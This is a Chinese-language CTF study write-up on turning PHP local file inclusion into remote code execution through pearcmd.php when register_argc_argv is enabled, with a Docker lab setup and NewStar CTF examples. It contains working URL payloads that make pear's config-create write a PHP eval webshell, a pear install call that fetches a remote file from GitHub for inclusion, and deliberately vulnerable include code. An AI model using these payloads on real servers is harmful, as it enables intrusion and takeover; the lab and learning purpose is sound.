利用pearcmd.php本地文件包含

在newstart23 week3碰到的一个题 register_argc_argv打开的情况 之前没遇到过 学一下


复现过程

环境

用docker搭建lamp

命令:

1
2
3
4
5
6
7
8
9
10
11
12
mkdir lamp-docker && cd lamp-docker
touch docker-compose.yml
nano docker-compose.yml

mkdir www//创建web目录
echo "<?php phpinfo(); ?>" > www/index.php
docker-compose up -d//启动容器
docker ps//检查容器

ip addr//查看地址
Web: http://192.168.198.131:8080
phpMyAdmin: http://192.168.198.131:8081

image-20250911100719668

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
version: '3.8'

services:
web:
image: php:7.4-apache
container_name: lamp_web
ports:

- "8080:80"
lumes:
- ./www:/var/www/html
pends_on:
- db

db:
image: mysql:5.7
container_name: lamp_db
restart: always
environment:
MYSQL_ROOT_PASSWORD: root # MySQL root 密码
MYSQL_DATABASE: testdb # 初始化数据库
MYSQL_USER: testuser # 初始化用户
MYSQL_PASSWORD: testpass # 初始化用户密码
ports:

- "3306:3306"
lumes:
- db_data:/var/lib/mysql

phpmyadmin:
image: phpmyadmin/phpmyadmin
container_name: lamp_phpmyadmin
environment:
PMA_HOST: db
MYSQL_ROOT_PASSWORD: root
ports:

- "8081:80"
pends_on:
- db

volumes:
db_data://yml内容


image-20250911095610947

环境起来之后 在web容器里创建我们需要的测试文件

1
docker exec -it lamp_web bash//进入web容器

image-20250911101615647

然后创建我们的测试文件

这里要注意

1
echo ' <?php include($_GET['file']); ?>' > /var/www/html/1.php

这种写法是不行的

引号的问题:直接在 echo ' ... ' > file.php 里面写 $_SERVER['argv'] 的时候,外层是 单引号,里层也用了 单引号,bash 不会识别里面的 'argv',导致你最后写进文件里的内容其实被截断了。

建议改为

1
2
3
4
5
6
7
cat > /var/www/html/2.php <<'EOF'
<?php
var_dump($_SERVER['argv']);
echo "\n";
?>
EOF

image-20250911111028265

然后访问就是这样的

原理

register_argc_argv 开启 之后的特殊点。
它会让 URL 中 ? 后面所有内容 都被当成命令行参数(argv)传给 PHP 脚本,不管你有没有写 key=value

image-20250911111759111

image-20250911111811786

image-20250911111828888

看上面的三种情况 其实只要去了解到&不能进行分割参数而+可以分割参数就可以了

pear 命令行程序其实就是一个 PHP 脚本 pearcmd.php,它本来是给 CLI 模式用的,会直接解析 $argv。在 register_argc_argv=On + LFI 的情况下能被远程利用。

整个利用姿势大概是这样的:

如果系统安装了 PEAR 扩展,就有 pearcmd.php 这个文件(CLI 命令入口脚本)。

如果 PHP 配置中开启了 register_argc_argv = On,那么 URL ? 后面的内容会被放入 $_SERVER['argv'](命令行参数数组),而不仅仅是 GET 参数。

如果应用存在本地文件包含(LFI)漏洞,并且能包含 .php 后缀的文件,就可以通过包含 pearcmd.php,再构造一个参数来执行 pear 的命令。

pear 中有 config-create 命令,该命令会把内容写入文件。通过这个命令,可以写入一句话木马(webshell),然后再通过 LFI 或者直接访问来执行。

如何判断系统有没有PEAR拓展

1.看 phpinfo()

image-20250911113343998

2.看文件系统有没有 pearcmd.php

image-20250911113442526

常见路径:

  • /usr/share/pear/pearcmd.php
  • /usr/local/lib/php/pearcmd.php
  • /usr/share/php/pearcmd.php

3.通过 include_path 试探

如果没有直接访问权限,可以尝试 LFI,包含路径里可能就会有 pearcmd.php

?file=/usr/share/pear/pearcmd
?file=/usr/local/lib/php/pearcmd

具体代码实现不需要知道,只要明白在文件包含的情况下,我们可以通过运用pear命令行工具并且控制其参数来为我们所用。

利用1

这是本地输入命令的情况(不出网)

pear命令参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
Commands:
build Build an Extension From C Source
bundle Unpacks a Pecl Package
channel-add Add a Channel
channel-alias Specify an alias to a channel name
channel-delete Remove a Channel From the List
channel-discover Initialize a Channel from its server
channel-info Retrieve Information on a Channel
channel-login Connects and authenticates to remote channel server
channel-logout Logs out from the remote channel server
channel-update Update an Existing Channel
clear-cache Clear Web Services Cache
config-create Create a Default configuration file
config-get Show One Setting
config-help Show Information About Setting
config-set Change Setting
config-show Show All Settings
convert Convert a package.xml 1.0 to package.xml 2.0 format
cvsdiff Run a "cvs diff" for all files in a package
cvstag Set CVS Release Tag
download Download Package
download-all Downloads each available package from the default channel
info Display information about a package
install Install Package
list List Installed Packages In The Default Channel
list-all List All Packages
list-channels List Available Channels
list-files List Files In Installed Package
list-upgrades List Available Upgrades
login Connects and authenticates to remote server [Deprecated in favor of channel-login]
logout Logs out from the remote server [Deprecated in favor of channel-logout]
makerpm Builds an RPM spec file from a PEAR package
package Build Package
package-dependencies Show package dependencies
package-validate Validate Package Consistency
pickle Build PECL Package
remote-info Information About Remote Packages
remote-list List Remote Packages
run-scripts Run Post-Install Scripts bundled with a package
run-tests Run Regression Tests
search Search remote package database
shell-test Shell Script Test
sign Sign a package distribution file
svntag Set SVN Release Tag
uninstall Un-install Package
update-channels Update the Channel List
upgrade Upgrade Package
upgrade-all Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]
Usage: pear [options] command [command-options] <parameters>
Type "pear help options" to list all options.
Type "pear help shortcuts" to list all command shortcuts.
Type "pear help version" or "pear version" to list version information.
Type "pear help <command>" to get the help for the specified command.

重点来看config-creater、install、download三种命令参数

config-creater:创建一个默认配置文件

1
config-create: must have 2 parameters, root path and filename to save as

第一个参数 <root path>:指定一个根目录,PEAR 会以此为基础来生成一份配置文件,写入一些路径配置(如 php_dir、doc_dir 等)。

第二个参数 <filename>:生成的配置文件要保存到哪里。

必须传入两个参数,第一个为绝对路径,第二个为创建文件的文件名

注意传入的内容是通过+来作为分隔符的。即空格经过url编码后+,我们尝试一段命令

1
pear config-creater /<?=@eval($_POST[1]);?> /tmp/test.php

这个会在/tmp/test.php生成一个一句话 注意前面要引入绝对路径

值得注意的是,上面的命令并不适用文件包含的格式来写入shell,由于$_SERVER['argv']变量会将URL的?后面的值都传入pear当作参数,所以此处file需要调换一下位置,并且在适当位置加上/+,

1
2
3
4
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php


?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php

试一下

1
pear config-create /hello /tmp/hello.txt

image-20250911153443727

在我们的环境里尝试

1
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php

image-20250911154526858

注意: 不要在url中直接上传因为<>在url传输中会出现解码错误,用burpsuite传输修改。

然后再去ls看一下成功生成了没

image-20250911154621068

OK的 接下来我们就可以包含这个文件来进行rce

image-20250911155123232

访问这个文件

image-20250911155133571

进行rce

为什么payload前面要有+号:

前面没有加号第一个元素会被吃掉

利用2

(出网)

我这里利用的是github上传文件 然后通过pear下载到靶机 再对文件进行包含

比如我们这里写一个phpinfo

image-20250911160105014

image-20250911160121707

通过github个人仓库上传

raw.githubusercontent.com/xiubi1125/xiubi1125.github.io/refs/heads/main/info.txt

这是我的上传链接

1
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+https://raw.githubusercontent.com/xiubi1125/xiubi1125.github.io/refs/heads/main/info.txt

通过pear下载包含,进而getshell,具体步骤就不再演示

有两道例题 一个是开头提过的 NewStar23 week3 includepear

这里来看另一个NewStar22 week3 two include

NewStar22 week3 include two

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
include($_GET['file'].".php");
}else{
die("Hacker!");
}

本地文件包含 LFI

include($_GET[‘file’].”.php”);`

用户传的 file 参数会拼接一个 .php 再被包含。

黑名单限制

filterrot13base64` 不能用。

所以常见的伪协议:php://filterphp://inputdata:// 都被限制了。

漏洞利用目标

提示意思是让你通过 LFI(本地文件包含)变成 RCE。

但是 .php 后缀限制 → 不能直接包含 /etc/passwd 这种非 PHP 文件。

直接写马

注意抓包之后修改一下尖括号 再比如这里不需要php后缀

1
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php 

这里我们不用tmp 用这个默认路径

image-20250911182314585

成功上传之后 直接去看a.php

image-20250911182341559

进行post传参就可以

再或者我们蚁剑连接

image-20250911182419706

image-20250911182443410

image-20250911182447712

[NewStarCTF 2023 公开赛道]Include 🍐

image-20250911182705951

image-20250911182728269

一模一样的步骤